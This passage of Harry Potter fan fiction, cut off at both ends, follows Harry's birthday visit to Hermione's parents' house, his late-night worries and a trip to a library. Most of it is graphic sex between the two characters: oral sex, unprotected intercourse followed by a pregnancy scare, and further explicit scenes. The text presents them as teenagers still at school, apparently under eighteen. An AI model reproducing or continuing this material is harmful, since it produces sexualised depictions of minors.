frowned.<br>\n\n<br> &quot;What exactly do you want me to tell them? I\'m not sure where to start,&quot; Hermione said. In the other room, her father laughed boisterously at something and they both looked in that direction as if they were pondering the question.<br>\n\n<br> &quot;There are aspects of it I would leave out for now but I think . . .when you\'re ready . . . you\'ll have to tell them I\'m a little more than a friend now.&quot;<br>\n\n<br> &quot;I don\'t want to tell them. They\'ll . . . ask questions,&quot; she said, wrinkling her nose up at the thought.<br>\n\n<br> &quot;It\'s not as if they don\'t like me, Hermione. Your mum even went and bought me more presents than the Dursleys ever have. Between her and Mrs. Weasley\'s birthday gifts, I have enough sweaters and socks to make it through this year of school without looking like a complete slouch. Somehow, though, I think you had something to do with this one,&quot; Harry said, looking down at the shirt he had changed into before dinner. It had been in a package he opened earlier in the day and it made his eyes appear a more vivid green than ever.<br>\n\n<br> &quot;That\'s a good color on you,&quot; Hermione mumbled.<br>\n\n<br> Harry caught the slight sound of embarrassment in her voice. It was such a \'girlfriend\' thing to do, picking out clothes for him. Just like cooking dinner. Hermione Granger, topnotch student and extraordinary witch, was embarrassed that she had a tiny domesticated side to her. It wasn\'t that many years ago when she used to \'mother\' Ron and Harry and remind them off all the rules but this was different.<br>\n\n<br> &quot;We can tell them together. Or we can just let them see this,&quot; Harry said, holding up the picture once more. &quot;It worked with Ron.&quot;<br>\n\n<br> &quot;No, I\'ll tell them but not tonight. I have plans for tonight,&quot; Hermione said, a sly smile creeping onto her face. Just the thought of what those plans might be made Harry\'s heart pound with anticipation and he found it growing rather warm in the room. Both her parents laughed at something this time and Hermione sighed. &quot;But first we have to wait for them to go to bed. And I have to finish in the kitchen and wash some of the dinner dishes.&quot;<br>\n\n<br> &quot;I\'ll help you. If you wash, I\'ll dry,&quot; Harry said, carefully wrapping the picture back up and putting it into its box so no one could see it.<br>\n\n<br> &quot;Oh, Harry, it\'s your birthday. You don\'t have to do that,&quot; Hermione said.<br>\n\n<br> &quot;I don\'t mind . . .&quot;<br>\n\n<br> &quot;Harry . . .&quot;<br>\n\n<br> &quot;See, if I help you do the dishes, I can stand right next to you without them ever suspecting a thing,&quot; Harry said, his voice low so the Grangers couldn\'t hear him in the next room.<br>\n\n<br> &quot;Hmm. That rather sounds like something I\'d think up,&quot; Hermione said, smiling.<br>\n\n<br> &quot;I\'ve been studying up on this whole planning thing of yours. Besides, if we\'re going to be together for a long time, I better get used to doing the dishes unless you\'ve changed your mind about house elves and we can get one,&quot; Harry, feigning pain when Hermione punched his arm playfully.<br>\n\n<br> &quot;I\'m sure there are plenty of other magical ways to do the dishes. I\'ll have to look into it once we return to Hogwarts,&quot; Hermione said as he followed her into the kitchen. Harry let out a heavy sigh as he looked around at all the pots and pans she used to make dinner. The kitchen was now quite the disaster area and Harry tried to remember how Mrs. Weasley dealt with all the dishes after making meals for her large family. It was so much easier with magic. <br>\n\n<br> &quot;You better do that,&quot; he said as they both surveyed the room together, trying to decide where to start. &quot;But first, can you look up those things you talked about last night? That sounds far more interesting than any magical pot scrubbers.&quot;<br>\n\n<br> *************<br>\n\n<br> It was definitely moving. He wanted to reach out and touch it, to see how it could possibly be sparkling like that but something made him keep his hands down. One hand was wrapped around his wand. He was safe with his wand. He was in control with his wand.<br>\n\n<br> Someone stepped in closer behind him, a familiar form, telling him to take another look. He was in the Granger\'s house, staring at a painting he had seen at school. It had been hanging in the room he and Hermione had once escaped to . . . how did it get here?<br>\n\n<br> &quot;Move in closer,&quot; the voice said but Harry couldn\'t move. He didn\'t want to move. His heart was racing and he was scared but he wasn\'t sure why. The voice demanded for him to touch it.<br>\n\n<br> He had no more control over his hands then. He stepped closer and his wand clattered to the floor and he didn\'t bother to pick it up. Everything was sparkling now . . .<br>\n\n<br> The sound of his door locking woke Harry from his dream and he sat up, startled, fumbling around for his glasses. Hermione\'s hand found his before he could put them on and she whispered, &quot;Don\'t. You\'re okay. It\'s only me.&quot;<br>\n\n<br> &quot;What time is it?&quot; he asked, trying to see the slightly blurry numbers on the clock.<br>\n\n<br> &quot;It\'s a little after eleven so it\'s still your birthday,&quot; she said, putting his glasses back on the bedside table.<br>\n\n<br> &quot;I\'m so sorry I fell asleep. I was tired and I was having this odd dream,&quot; he said as she climbed under the covers with him, her one leg immediately wrapping around his own.<br>\n\n<br> &quot;An odd dream . . . how?&quot; she asked, sounding rather concerned.<br>\n\n<br> &quot;Not like that. It was just strange,&quot; he answered. <br>\n\n<br> &quot;Probably from having to dry all those pots and pans,&quot; she said, resting the palm of her hand over his heart. It was still beating wildly from his dream<br>\n\n<br> &quot;That\'s not the only thing only thing making me tired. You do realize that after tonight, this will be the most times you and I have been together in a row . . . if my first night here counts. Does it count?&quot; he asked and she propped herself up to look at him, her hand now moving over his chest.<br>\n\n<br> &quot;Of course it counts. Oh, I could do this every night. It\'s going to be so wonderful when we\'re older and free to do what we want to do. We can have sex constantly,&quot; Hermione said. Harry didn\'t even get a chance to say that sounded great before she kissed him. Her tongue parted his lips almost immediately, both of them hungry for the other. She moved on top of him and his dream and all the dishes from earlier were forgotten as he felt her body slide against his.<br>\n\n<br> Pulling away from the kiss, Hermione sat up, straddling his hips. In the darkness and without his glasses, he could barely make out her face but he could tell she was smiling down at him.<br>\n\n<br> &quot;What?&quot; he asked, reaching up to touch her cheek and to run his fingertips over her lips.<br>\n\n<br> &quot;What would you like for your birthday?&quot; she asked and he was a little confused.<br>\n\n<br> &quot;You gave me presents all day, Hermione. What more could there be?&quot; he asked and she shook her head.<br>\n\n<br> &quot;Don\'t be daft. I meant . . . what would you like in bed?&quot; she asked, leaning forwards so that her long hair tickled him. &quot;Anything from the book you\'d like to try?&quot;<br>\n\n<br> His mind ran through the pages and pages of sexual positions and things to do to one\'s lover he had read about but with her body moving against his like it was, he couldn\'t make a decision. The only thing he knew is that he wanted to be inside of her soon.<br>\n\n<br> &quot;You had said, that with the condom and all, that you would like for me to . . . make things less dry down there?&quot; Harry asked and Hermione let out a tiny laugh.<br>\n\n<br> &quot;Do you talk that proper when you\'re with just the boys?&quot; she asked, her body still moving slowly against his. &quot;What do you they call it when you\'re all standing around the changing room in your Quidditch robes looking all manly?&quot;<br>\n\n<br> &quot;First of all, there are more girls on the team than boys so if anyone is doing any talking, it\'s usually them and let me tell you . . . wow. I\'ve learned a thing or two. Besides that, I don\'t talk about what we\'ve done to anyone . . .boys or girls. As for my roommates, Ron would probably have some sort of seizure if I told him more than he already knows . . . Neville, too, I imagine . . . and there isn\'t anyone else really. Professor Lupin knows we\'re better friends than we were before but I haven\'t told him quite how far it has progressed. So you\'re the only one I ever discuss any of this with which is probably for the best since you\'re the one I\'m shagging,&quot; Harry said, grabbing her and quickly flipping her over. She nearly let out a little yelp but managed to stifle it in time.<br>\n\n<br> &quot;Yes, I am. The only one,&quot; she said, wriggling her nightgown up to her waist.<br>\n\n<br> &quot;Yes, the only one,&quot; he said even though she already knew that.<br>\n\n<br> &quot;Where are the condoms?&quot; she asked, her voice full of dread.<br>\n\n<br> &quot;On the table but don\'t worry about that yet,&quot; he said, moving slowly down her body. She pulled her gown the rest of the way off as soon as she could and tossed it aside. She was naked underneath him and his first stop on his way to his final destination was her breasts. He placed little kisses across each one before pulling a nipple into his mouth, his tongue circling and feeling it grow harder. Her fingers tangled into his hair, holding him there as she softly moaned in pleasure.<br>\n\n<br> Moving further down, he ignored her protests as he pulled away from her breasts. His mouth moved down her stomach and over her belly button, leaving behind little kisses wherever he went. Finally, he slid between her parted thighs, hearing her gasp as his tongue touched just the right spot. She hadn\'t pulled her hands free from his hair and with them, she pushed him closer, her body thrusting up against his mouth.<br>\n\n<br> His tongue flicked quickly against her clitoris and like he did the other night, he slipped his fingers inside of her, feeling how tight and hot she was. There were things he had read about . . . other things he could do to her . . . but judging from Hermione\'s moans, he was doing the right thing now. It was then, quite by accident, he pressed up with his fingers and her hands flew from his hair to clutch the bedsheets.<br>\n\n<br> &quot;Yes . . . don\'t stop . . . &quot; she said, nearly purring the words, and he didn\'t stop but instead did everything a little faster and a little harder. Now she was grinding against him, continuing to beg for more. She was wet against his face and he knew it wouldn\'t be like last night. They rushed into that. This would be so much better.<br>\n\n<br> He sucked and gently bit at her until it was enough for her to come, which she did harder then he ever remembered her doing before. Waves of pleasure danced over her body for a long time and he pulled back to watch. Slowly, he crawled back up her body, leaving tons of kisses along the way.<br>\n\n<br> After he settled between her thighs, she pushed his pajama bottoms down as far as she could and he kicked them the rest of the way off, losing them in the sheets. Before he could even fathom what was happening, her hand moved between their bodies, guiding him to her sex.<br>\n\n<br> &quot;Hermione . . .&quot;<br>\n\n<br> &quot;I\'ve counted and calculated and have it all worked out. It will be okay if you pull out in time,&quot; she said and as he eased into her. Her eyes closed and she sighed and there was nothing more that he wanted than to believe her.<br>\n\n<br> As Hermione wrapped her legs high around his waist, allowing him to sink in impossibly deep, Harry did some more calculations of his own. Nine months and they\'d still be in school. They\'d nearly be finished with their final year but not quite. Not quite but close enough. Yes, close enough.<br>\n\n<br> Besides, he still had plenty of money in the bank and just because he usually had no clue as to what he was going to do after school, there were plenty of things that he could do. Things like professional Quidditch where he\'d have plenty of money. Teams already wanted him and if need be, that\'s what he would do . . .<br>\n\n<br> None of that really mattered anyway. He had enough control and could stop in time. From under him, Hermione was matching him thrust for thrust and when she opened her eyes to stare up at him, his heart started to pound. She had never before looked at him with so much . . . need . . . trust . . . longing. He wasn\'t sure how to describe it but he knew was he didn\'t want her to ever not need him.<br>\n\n<br> Her fingers clutched his arms, her nails digging into his skin causing one more sensation to swirl around his brain. She let go, her hands now traveling slowly down his back, drawing little circles as they moved downwards. The room was hot, their bodies sticking together whenever he pulled away even with the sheets and blankets now kicked off the bed. His hair was damp and kept falling into his eyes and he wished she\'d push it out of the way.<br>\n\n<br> Hermione was so responsive as compared to the night before and that combined with the sound she made every time he pushed into her was . . . it was way too much. Too much. Too soon. He couldn\'t stop it. He tried to pull out but wasn\'t sure if he made it in time. Gasping for air, he felt all his muscles spasm as he came hard, not able to move any further away from her. It wasn\'t long before all the cobwebs began to clear from his brain and he realized that Hermione was completely still underneath him.<br>\n\n<br> He moved away, knowing it was too late to do anything about it. Rolling over on his back, he let out a heavy sigh, covering his eyes with his arm so he wouldn\'t have to face her.<br>\n\n<br> &quot;We shouldn\'t have done that.&quot;<br>\n\n<br> &quot;No, we shouldn\'t have but it will be okay,&quot; she said again, not sounding as sure as she did before. She moved away from him long enough to cover them both up with the blankets. &quot;You pulled out in time, right? Right, Harry?&quot;<br>\n\n<br> &quot;Even if I didn\'t . . . it will be okay. We\'ll be okay. I\'ve got enough money to take care of us and if I play Quidditch, you can continue on with school and . . . oh, bloody hell! Why am I worrying already?&quot; he asked and she let out a short laugh.<br>\n\n<br> &quot;Maybe because deep down inside, it\'s something we both want,&quot; she said and he pulled his arm away to look at her. &quot;You want the family you never had and I want . . . you.&quot;<br>\n\n<br> &quot;If nothing happens, I think that it would be best if we wait until we\'re out of school before we make such major decisions, don\'t you?&quot; he asked and she nodded. Hermione snuggled in close as he wrapped her up in his arms. &quot;You have years of education ahead of you, Hermione, and I don\'t know what\'s ahead of me. I don\'t want to ruin your life.&quot;<br>\n\n<br> &quot;You\'re right . . . it was a foolish thing to do. But you could never ruin my life, Harry, because everything we have done, we\'ve done together. Besides, I\'m not worried,&quot; she said more confidently. He wouldn\'t be worried either except things always happened to him.<br>\n\n<br> &quot;If something does happen, at least it will be a birthday to remember,&quot; Harry said with a sigh.<br>\n\n<br> &quot;Please don\'t let this ruin the rest of our time together,&quot; she said, sliding one of her hands up and placing it on his cheek. &quot;It\'s short enough as it is. One more day and then I have to wait a month to see you. I\'m not sure I\'ll be able to stand it.&quot;<br>\n\n<br> &quot;How do you think I feel? I have to go back to the Dursleys. You don\'t know how much it means to me that your parents let me stay here even for a few days. You can\'t even begin to imagine how bad it is there. I see your life and how you got to grow up and it makes me hate them even more,&quot; Harry said sadly.<br>\n\n<br> &quot;You won\'t have to go back again after this. School will be over next year and you won\'t have to ever spend another summer there,&quot; Hermione said and the thought made Harry smile. They both stayed wrapped up like that for quite a while until finally Hermione slipped out of his arms and pulled her nightgown back on.<br>\n\n<br> &quot;I wish you could stay here in bed with me tonight,&quot; he said, knowing that wasn\'t anymore possible tonight than it was any other night.<br>\n\n<br> &quot;We have a lot to do tomorrow so you need to get some rest,&quot; said Hermione, sitting on the edge of the bed.<br>\n\n<br> &quot;What do we have to do tomorrow?&quot;<br>\n\n<br> &quot;You and I are going to the library in town so I can do research for my one paper. I need to find out about Muggles and their . . .&quot; she said and Harry couldn\'t help smiling. &quot;What?&quot;<br>\n\n<br> &quot;Hermione, one of these days I\'m going to figure out why you of all people have to leave your Muggle home to go to the Muggle library to find out anything about Muggles,&quot; he said and she crossed her arms over her chest and gave him the same look she had given him for years whenever he made a comment about her schoolwork.<br>\n\n<br> &quot;Because I want it to be perfect. Besides, this way you can work on your assignments without worrying about your uncle catching you,&quot; she said, leaning in to kiss him goodnight. He grabbed one of her hands and held it tight.<br>\n\n<br> &quot;I love you,&quot; he whispered when she moved away.<br>\n\n<br> &quot;We\'ll see if you still feel that way after I make you finish your charms homework,&quot; she said, slowing getting up from the bed, her hand slipping from his.<br>\n\n<br> &quot;I will,&quot; he said. He missed her touch already.<br>\n\n<br> &quot;Happy birthday,&quot; she said for the hundredth time that day. &quot;I hope it was great.&quot;<br>\n\n<br> Hermione slipped out the door, pulling it shut behind her. He grabbed the pillow she had been resting on and hugged it tight, breathing in the scent of her that still lingered on it.<br>\n\n<br> &quot;Oh, it was great,&quot; he mumbled to himself as he struggled to fall back to sleep.<br>\n\n<br> ******************<br>\n\n<br> Hours passed by slowly and he couldn\'t stop tossing and turning in his bed. He was trying not to worry about things he couldn\'t change. There were too many of those things in his life already without worrying about what happened between Hermione and him tonight. <br>\n\n<br> He was more concerned about was why either of them had let it happen. They weren\'t ready for such things. Hermione had too much to do with her life that wouldn\'t necessarily involve him. She was so clever and good at what she did and he didn\'t want to tie her down to something she thought she wanted during a momentary lapse of good judgment. That\'s all it was. A momentary lapse. Just the two of them being stupid teenagers. No one should have to pay forever for that, right?<br>\n\n<br> Harry wondered when his parents knew they were going to be together for the rest of their lives, however long that might be? How did they decide that they were ready to get married and have a baby? They looked so young in the pictures. He needed to ask Remus Lupin when he got the chance. With all he had learned about his parents in the last few years, there was still so much he wished he knew. He also decided it was time to tell his godfather more about his relationship with Hermione if only to protect her. If something happened, at least someone would have a clue as to why. <br>\n\n<br> He loved Hermione and there was no denying that but could this last forever? Did she even really want it to or did she get caught up with him being here and playing house for a few days? He thought he knew how she felt but everything could change so quickly. <br>\n\n<br> Pulling a pillow over his head, he counted the many ways their relationship could come to an abrupt end. Her parents could find out and ban them from ever seeing each other again -- or worse. Or the Dursleys could find out he was having sex with anyone and lock him up in the cupboard. Professor McGonagall would certainly feel that he was ruining Hermione\'s chances at a brilliant career and probably expel him the first chance she got.<br>\n\n<br> Then there was the big one -- he could quite possibly get killed any day now and never see it coming. That would definitely slow down the relationship. Harry wasn\'t even sure it would necessarily be Voldemort bringing about his demise. Drew Rowntree would probably like to see him dead, too.<br>\n\n<br> He tossed around more, throwing the covers off and then pulling them back on again. Hedwig hooted softly from the corner and Harry lifted his head to look at his owl who was focusing in on him with her big, bright eyes. He had completely forgotten she was there earlier when they were having sex. How embarrassing. He should have sent her off for the night but Hermione coming to his room wasn\'t really in the plans. A lot of things weren\'t in his plans. <br>\n\n<br> His owl looked restlessly towards the window and Harry sat up, turning on the light at the side of the bed. &quot;Would you like some exercise?&quot; he asked, digging his pajama bottoms from out of the blankets and tugging them back on. &quot;I really should write Professor Lupin and let him know where I am and what I\'ve been doing.&quot;<br>\n\n<br> Hedwig hooted again, this time with indignation. <br>\n\n<br> &quot;No . . . I don\'t think I should tell him about that in a letter. You weren\'t supposed to see that and I apologize. It won\'t happen again,&quot; said Harry, getting up to dig through his bag, looking for his writing supplies. He sat down on the edge of the bed and began his letter to Professor Lupin. Since Sirius died, he had grown a little closer to Lupin but it still wasn\'t the same. Most of the effort was put forth by Lupin and not Harry and sometimes he got tired of him trying so hard to replace someone he could not. <br>\n\n<br>\n\n<i>Dear Professor Lupin -<br>\n\n<br> I wanted to let you know that I have been away at the Granger\'s house (Hermione\'s parents) over my birthday. It was nice to get away from the Dursleys and I can\'t wait until next summer when I no longer will have to return there. I would like to ask you a few things concerning my parents once I get back to Hogwarts. Nothing too important -- just a few questions I\'ve been thinking about. Also, I\'ve had a few unusual dreams lately but since my scar has remained pain free, I\'m certain it\'s nothing to worry about. I think Hermione\'s Muggle ex-boyfriend is a bigger threat than anyone else. I\'m positive he hates me. If you hear about some boy named Andrew Rowntree on the run from the law, you\'ll know why. <br>\n\n<br> Hope you are well,<br>\n\n<br> Harry</i><br>\n\n<br> He sealed up the letter in an envelope and gave it to Hedwig who looked all too happy to get out of this room. He opened up the window, reminded her that he was returning to the Dursleys soon and then watched his owl take flight, heading off to wherever Professor Lupin might be this time. Hedwig never had trouble finding him no matter where he might be. <br>\n\n<br> After putting away his supplies, he climbed back into his bed, hoping that he would eventually drift off to sleep. <br>\n\n<br> ******************<br>\n\n<br> Hearing the latch on the door click shut, Harry wiped the water out of his eyes and pulled back the shower curtain to see what was going on. He found Hermione standing there, a coy look on her face. He had been enjoying his showers at the Granger\'s immensely since all they had at the Dursley\'s was some old tub that Aunt Petunia demanded she must have. It was small and he often wondered how Dudley, or Uncle Vernon for that matter, fit into it at all but that image flitting around his head just hurt too much to focus on for long.<br>\n\n<br> &quot;I did lock that, didn\'t I?&quot; Harry asked, pushing his wet hair off of his face and away from his eyes. He was very tired this morning so there was a good chance he didn\'t remember to lock it at all.<br>\n\n<br> &quot;Yes.&quot;<br>\n\n<br> &quot;You didn\'t . . . you didn\'t use magic to open it, did you?&quot; he asked, squinting and looking around for her wand. She made a clucking noise with her tongue and dropped her bathrobe to the floor.<br>\n\n<br> &quot;Do you see my wand anywhere?&quot; she asked, stepping into the shower spray with him.<br>\n\n<br> &quot;No . . . er . . . &quot;<br>\n\n<br> &quot;Is it possible that I know how to pick the locks in my own house?&quot; she asked.<br>\n\n<br> &quot;Quite possible . . . what are you doing?&quot; he asked.<br>\n\n<br> &quot;Taking a shower,&quot; she answered as if it should have been quite obvious what she was doing which he guessed it was.<br>\n\n<br> &quot;I meant . . . where are your parents?&quot; he asked, a lump rising to his throat as she took the bar of soap and began lathering him up.<br>\n\n<br> &quot;Mum has been at work since early this morning and Dad just got called in for an emergency. He shouldn\'t be home for hours,&quot; Hermione answered, turning them around so she was now standing under the water. He looked down at a soapy hand wrapped around his growing erection and at what she was doing to him. It didn\'t take long until he was completely hard under her slick touch and she put the bar of soap away without stopping.<br>\n\n<br> &quot;I\'ve thought about it a lot and we can\'t do it again like last night . . . once was bad enough. I mean, it was good but . . . ohh . . .&quot; he said with a sigh, determined to stick with that decision no matter what. If her parents were gone, they could go to his room and get a condom. They could do whatever they wanted.<br>\n\n<br> &quot;Don\'t worry . . . I\'ve been thinking, too . . .&quot;<br>\n\n<br> &quot;Hermione . . .&quot;<br>\n\n<br> &quot;I said don\'t worry. I have other plans for you.&quot;<br>\n\n<br> With that, she stepped to the side and the water rinsed the soap from his body. She gave him a little push backwards out of the direct spray of the water and before he could say a word, she sunk down to her knees. She looked up at him one last time, little droplets of water hanging from her eyelashes, before taking him into her mouth.<br>\n\n<br> His hands flew out to the slippery tile wall behind him to hold himself up and he moaned loudly as she wrapped her lips around him. Her tongue flicking against the tip and it was such an amazing feeling that he couldn\'t keep his eyes off of her. When he was sure his legs wouldn\'t give out, he moved a hand away from the wall and tangled his fingers into her wet hair.<br>\n\n<br> &quot;That really is amazing,&quot; he said and she continued to slide her mouth over him, her tongue continually moving, her hand holding tightly to the base. He closed his eyes and let the sensation of her mouth and the hot water and the steam folding in around them wash over him. It didn\'t take long and his legs began to buckle underneath him and he had to hold onto the wall again. She began to move faster and he forced his eyes open to watch her. He could feel everything tighten inside of him and he knew that it wouldn\'t take much more . . .<br>\n\n<br> Right then, Hermione turned her eyes up towards him and that, as always, was enough. He tried to pull completely away at the last second but just like last night, he couldn\'t. He started to come and she moved away, spitting out what was already in her mouth. The rest ended up on her face and in his hands as he tried to cover himself.<br>\n\n<br> &quot;Sorry . . .&quot;<br>\n\n<br> &quot;Sorry . . .&quot;<br>\n\n<br> They said it at the same time and ended up laughing. He helped her up and she rinsed out her mouth with the shower water. He rinsed off, too, and they stood there under the water, both with a silly grins.<br>\n\n<br> &quot;Want me to wash your hair?&quot; Harry asked and Hermione gave him a look of doubt that he could do it right.<br>\n\n<br> &quot;You won\'t get too much soap in my eyes, will you?&quot; she asked and that brought back horrible memories of when he was small and Aunt Petunia used to carelessly bathe him, dumping water over his head without concern over where the soap might end up. He used to cry and scream and that just made her more impatient about the whole thing. She never did that to Dudley. Aunt Petunia always had Dudley hold a washcloth over his eyes as she gently poured the water over his soapy hair, all the while telling him how much he looked like a baby angel.<br>\n\n<br> &quot;No, I won\'t let that happen,&quot; he said, reaching for the washcloth hanging behind her. &quot;Hold this over your eyes. Now tip your head back . . .&quot;<br>\n\n<br> He moved around her, figured out which one was her shampoo (he knew the scent of it quite well) and made a nice lather. She moaned softly, sounding quite content as he massaged her scalp and ran his fingers carefully through her long hair, untangling it as he went.<br>\n\n<br> He moved her further into the water, tilting her head just right so the water would rinse out the soap without getting any in her eyes. When it was done, she pulled the washcloth away and turned to him.<br>\n\n<br> &quot;How was that?&quot; he asked, wiping a tiny bit of soap off of her cheek with the edge of his thumb.<br>\n\n<br> &quot;That was very nice. You\'re going to make an incredible father someday. You\'ll be in charge of bath time,&quot; she said, her hand going up to ruffle his unruly wet hair. She must have noticed the look on his face because she quickly added, &quot;But we won\'t have to worry about that for a very long time.&quot;<br>\n\n<br> &quot;Or some time next April,&quot; he said. She didn\'t say anything about that but instead wiggled around him and turned off the water. It was beginning to grow cold anyway.<br>\n\n<br> She handed him a towel and then grabbed her own, drying off before stepping out of the shower and pulling on her robe. Harry wrapped the towel around his waist and just stood there, watching her eyes slowly travel over him. &quot;We really should get to the library.&quot;<br>\n\n<br> &quot;We really should. How long until your parents get home?&quot; he asked, feeling a twinge in his groin just from her stare. It was one of those times he was quite thankful he was so young.<br>\n\n<br> &quot;A couple of hours, I hope. How long until you can . . . you know?&quot; she asked, motioning towards his towel.<br>\n\n<br> &quot;Not long,&quot; he said, glancing down. No, judging from the way things looked now, she wouldn\'t have to wait long at all.<br>\n\n<br> &quot;Good,&quot; she said, opening the door and checking the hallway. The only thing out there was Crookshanks, who meowed at her and looked at Harry with narrowed, unhappy cat eyes. Hermione turned around, grabbed Harry\'s hand and pulled him towards her bedroom. He barely had time to grab his glasses and shove them on his nose.<br>\n\n<br> &quot;What about protection? Everything is hidden in my room,&quot; he said rather breathlessly as she pushed him into her room with a gentle shove.<br>\n\n<br> &quot;I\'m way ahead of you. I already got them so this time, we have nothing to worry about. Nothing at all,&quot; Hermione said, closing her door and locking it before she dropped her robe to the floor. Harry watched her walk across the room and climb into her bed, holding the blankets up for him.<br>\n\n<br> &quot;Are you waiting for a proper invitation?&quot; she asked.<br>\n\n<br> &quot;No . . .er . . . I was just looking at you. You\'re so pretty,&quot; he said, cocking his head to the side as his eyes wandered over her body. Hermione blushed and put the blankets back down.<br>\n\n<br> &quot;You\'re not so bad yourself. Now please come over here before my parents get home and we have to somehow explain this,&quot; she said. He did as he was told, dropping his towel on her floor along the way. Allowing him under the blankets, she slid over, giving him room.<br>\n\n<br> &quot;Is that --&quot; but before he could get his sentence out, she was kissing him. Her tongue moved past his lips and darted around his mouth. He returned the kiss, his hands exploring her body, slowly moving towards her breasts.<br>\n\n<br> &quot;I haven\'t kissed you yet today,&quot; she said, pulling away for air.<br>\n\n<br> &quot;No, not in a traditional way,&quot; he said and she blushed.<br>\n\n<br> &quot;Did you like it?&quot; she asked.<br>\n\n<br> &quot;Which part? The part where you broke into the bath or the part where you went --&quot;<br>\n\n<br> &quot;All of it,&quot; she said.<br>\n\n<br> &quot;You have to ask?&quot; With that, he took her hand in his and moved it down to where he was growing terribly hard again already. She cocked an eyebrow before she wrapped her hand around him, stroking him until he had to pull away. &quot;Be careful. I\'m not sure if I can do this three times in an hour.&quot;<br>\n\n<br> &quot;Someday, we\'ll have to find out,&quot; Hermione said, rolling over to get the box of condoms from her table. She took one out and was ready to tear it open when Harry stopped her.<br>\n\n<br> &quot;I\'ll do it,&quot; he said, taking it from her hand and opening it. He kicked the blankets away so he could see what he was doing and she watched.<br>\n\n<br> &quot;When did you figure that out?&quot; Hermione asked as he unrolled the condom down over his erection properly.<br>\n\n<br> &quot;Last night . . . alone in my room before you came in. I wanted to be ready and know how,&quot; he said, blushing a little about the fact that he had to use one to figure it out while all she had to do was read the box.<br>\n\n<br> They turned to face each other and she put her leg over his hip. Her hand went between them as she guided him and he pushed in slowly, watching her face to see if he was hurting her at all.<br>\n\n<br> &quot;This isn\'t so bad,&quot; she said as he pushed all the way in. &quot;Just takes a little getting used to. That\'s all. I was afraid maybe I was allergic to the things.&quot;<br>\n\n<br> &quot;It\'s not bad at all,&quot; he somehow managed to say even though his words sounded slightly strangled. Everything slowed down around him as his brain got lost in the sensation of Hermione beside him and around him. He had to remind himself that he needed to touch her and make it feel just as good for her as it did for him. She sucked in a quick breath of air when he touched her and released it as a long sigh.<br>\n\n<br> Harry didn\'t know if it was because this was the first time they had ever truly been alone (without even the possibility of a ghost catching them) since they first had done this, but this time Hermione was louder than she had ever been before. She moaned in pleasure as he moved inside of her and cried out his name when he shifted them so he was on his knees with her legs pressed towards her. Her fingers were digging into the sheets, clutching at them.<br>\n\n<br> &quot;Do you like it like this?&quot; he asked and she answered with a moan. He was slamming into her so hard now that her headboard was hitting the wall. She put a hand up to still it but before she could, he grabbed her hand and pulled it down. She fell silent for just a moment and then touched herself like he wanted her to. It wasn\'t long before she was crying out all sorts of nonsense punctuated occasionally with his name.<br>\n\n<br> They had only done it this rough once before, back at school, but they had been angry at each other that time. This was so much better now.<br>\n\n<br> &quot;Close . . . I\'m so close. Oh . . . yeah, Harry . . . move faster,&quot; she said and he complied willingly. Her fingers were moving faster, too, and it wasn\'t long before she was writhing in pleasure and the sounds she made . . . they were almost enough . . . they would have been enough if she didn\'t do that to him in the shower. He watched as she stopped moving and smiled up at him.<br>\n\n<br> &quot;Was that good?&quot; he managed to ask but she didn\'t answer his question. <br>\n\n<br> &quot;Are you close?&quot; she asked instead as he kept up his pace, hoping he wasn\'t hurting her at all. He must not have been, because she moved her legs around until they were over his shoulders and he was in deeper than he could have imagined. He thrust into her a few more times before she clutched all her inner muscles tightly around him and it was more than enough. He was more than close. He was there.<br>\n\n<br> She pulled her legs down and he fell against her, unable to catch his breath. She held him tight and he willed his racing heart to slow down because at this rate, it felt like it might burst. Soon, they both were breathing somewhat normally and he pushed up to look at Hermione.<br>\n\n<br> They had still been wet from the shower when they got into bed but now they were both covered with sweat and his bangs kept falling into his eyes and her hair was a tangled mess.<br>\n\n<br> &quot;We need another bath,&quot; she said, shoving the hair out of his eyes.<br>\n\n<br> &quot;I\'m afraid if we do that together, we\'ll just end up here again,&quot; he said and she raised an eyebrow at him.<br>\n\n<br> &quot;I thought you said you weren\'t up to three times?&quot; she asked, smirking at him.<br>\n\n<br> &quot;No, not right at this moment,&quot; he said, reaching between them and holding onto the condom as he pulled out. He really didn\'t want any more \'accidents\' to happen during this visit. &quot;But I promise you by tonight, I\'ll be ready.&quot;<br>\n\n<br> She turned her head towards the window and sighed. &quot;I can\'t believe you have to leave soon.&quot;<br>\n\n<br> He reached out and touched her cheek and she turned back to look at him. &quot;We\'ll be back at school in just a few weeks. With this time together, I think I\'ll be able to bear life a little longer at the Dursleys. You\'ve given me plenty to, um, think about.&quot;<br>\n\n<br> &quot;And I can start planning for when we see each other again. That will give me something to do,&quot; Hermione said, pulling him down for a long, lingering kiss. When they parted she gave him a gentle push and he rolled off of her. &quot;But now, we have to get to the library. I really do have to study, Harry.&quot;<br>\n\n<br> She rose from the bed and began to find her clothes, stopping for a moment to gasp at the sight of her hair in the mirror. Harry didn\'t care. He thought she looked wonderful and wished they were done with the library already so they could be back here together in her bed.<br>\n\n<br> **************<br>\n\n<br> The Muggle library wasn\'t much more exciting than the one at Hogwarts. Hermione sat across the table, a stack of books piled up on either side of her. She occasionally looked up and smiled at Harry but most of her time was spent scribbling notes about what she discovered in the books.<br>\n\n<br> Harry was still mystified at how she could possibly need a book to explain Muggles or even why, since she dropped Muggle studies years ago, but he knew Hermione well enough to let her do it her own way. She shut a book on air travel and put it aside as she picked one up on electricity.<br>\n\n<br> &quot;Why don\'t you work on your homework?&quot; she whispered and Harry shrugged.<br>\n\n<br> &quot;I\'d rather watch you,&quot; he said and she blushed, placing the large book in front of her face. &quot;What? You\'re suddenly embarrassed to have me watch you? You didn\'t seem to mind me watching you earlier . . . ouch! What did you have to go and do that for!&quot;<br>\n\n<br> She kicked his leg under the table before he could go further. He moved his chair back and pretended to go about attending to his wounded shin.<br>\n\n<br> &quot;Study something,&quot; she said from behind her book. &quot;The sooner you stop bothering me, the sooner I can finish and we can get out of here.&quot;<br>\n\n<br> Harry doubted that she would really be done anytime soon. He picked up one of the textbooks Hermione had lent him, opened it and hid the cover from anyone\'s prying eyes. No need to let the whole town know that he was studying charms. Or at least pretending to study charms.<br>\n\n<br> He couldn\'t focus on the words before him and Hermione was beginning to look quite irritated at all the shuffling around he was doing. Closing the book, he stood up and pushed in his chair.<br>\n\n<br> &quot;Where are you going?&quot; Hermione asked and Harry looked around the small library.<br>\n\n<br> &quot;I don\'t know. I just want get up and stretch a bit. Maybe take a look around . . .&quot;<br>\n\n<br> &quot;And avoid your homework?&quot;<br>\n\n<br> &quot;Yes, and avoid my homework. I\'ll be back in a few minutes and I promise I\'ll work on it 